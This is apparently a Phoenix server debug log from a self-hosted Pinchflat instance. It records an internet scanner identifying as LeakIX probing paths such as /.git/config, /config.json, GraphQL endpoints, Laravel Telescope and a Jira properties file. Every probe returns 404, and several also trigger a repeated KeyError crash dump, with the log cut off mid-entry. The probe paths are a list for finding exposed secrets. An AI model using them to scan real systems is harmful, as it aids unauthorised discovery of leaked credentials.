%{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36617.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMk-RhDYS0SpUAAWCE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36617.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ (truncated) 21:37:43.624 [info] POST /graphql 21:37:43.630 [info] Sent 404 in 6ms 21:37:43.631 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:44.318 [info] POST /api 21:37:44.319 [info] Sent 404 in 585Β΅s 21:37:44.319 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:45.016 [info] POST /api/graphql 21:37:45.016 [info] Sent 404 in 635Β΅s 21:37:45.016 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:45.699 [info] POST /graphql/api 21:37:45.700 [info] Sent 404 in 1ms 21:37:45.700 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:46.399 [info] POST /api/gql 21:37:46.400 [info] Sent 404 in 829Β΅s 21:37:46.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:47.095 [info] GET /s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties 21:37:47.097 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=1077.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:47.099 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=1078.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:47.100 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:47.101 [error] #PID<0.36623.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 15) terminated Server: youtube.plexultra.com:80 (http) Request: GET /s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36623.0>, params: %{}, path_info: ["s", "5373e2036313e2137313e2230323", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlO_w6iu214AAAVrj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/s/5373e2036313e2137313e2230323/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 15, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36623.0>, params: %{}, path_info: ["s", "5373e2036313e2137313e2230323", "_", ";", "META-INF", "maven", "com.atlassian.jira", "jira-webapp-dist", "pom"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_lo (truncated) 21:37:48.104 [info] GET /config.json 21:37:48.106 [debug] QUERY OK source="settings" db=0.4ms queue=0.2ms idle=1007.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:48.107 [debug] QUERY OK source="settings" db=0.4ms queue=0.5ms idle=1006.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:48.107 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:48.108 [error] #PID<0.36624.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 16) terminated Server: youtube.plexultra.com:80 (http) Request: GET /config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36624.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlSwX44AEcnMAAVsD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36624.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", (truncated) 21:37:49.100 [info] GET /telescope/requests 21:37:49.102 [debug] QUERY OK source="settings" db=0.6ms queue=0.3ms idle=1081.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:49.103 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1082.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:49.103 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:49.104 [error] #PID<0.36625.0> running PinchflatWeb.Endpoint (connection #PID<0.36607.0>, stream id 17) terminated Server: youtube.plexultra.com:80 (http) Request: GET /telescope/requests ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36625.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/telescope/requests", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMlWdqVGldowgAAVsj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /telescope/requests (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36607.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/telescope/requests", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44024}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36625.0>, params: %{}, path_info: ["telescope", "requests"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", 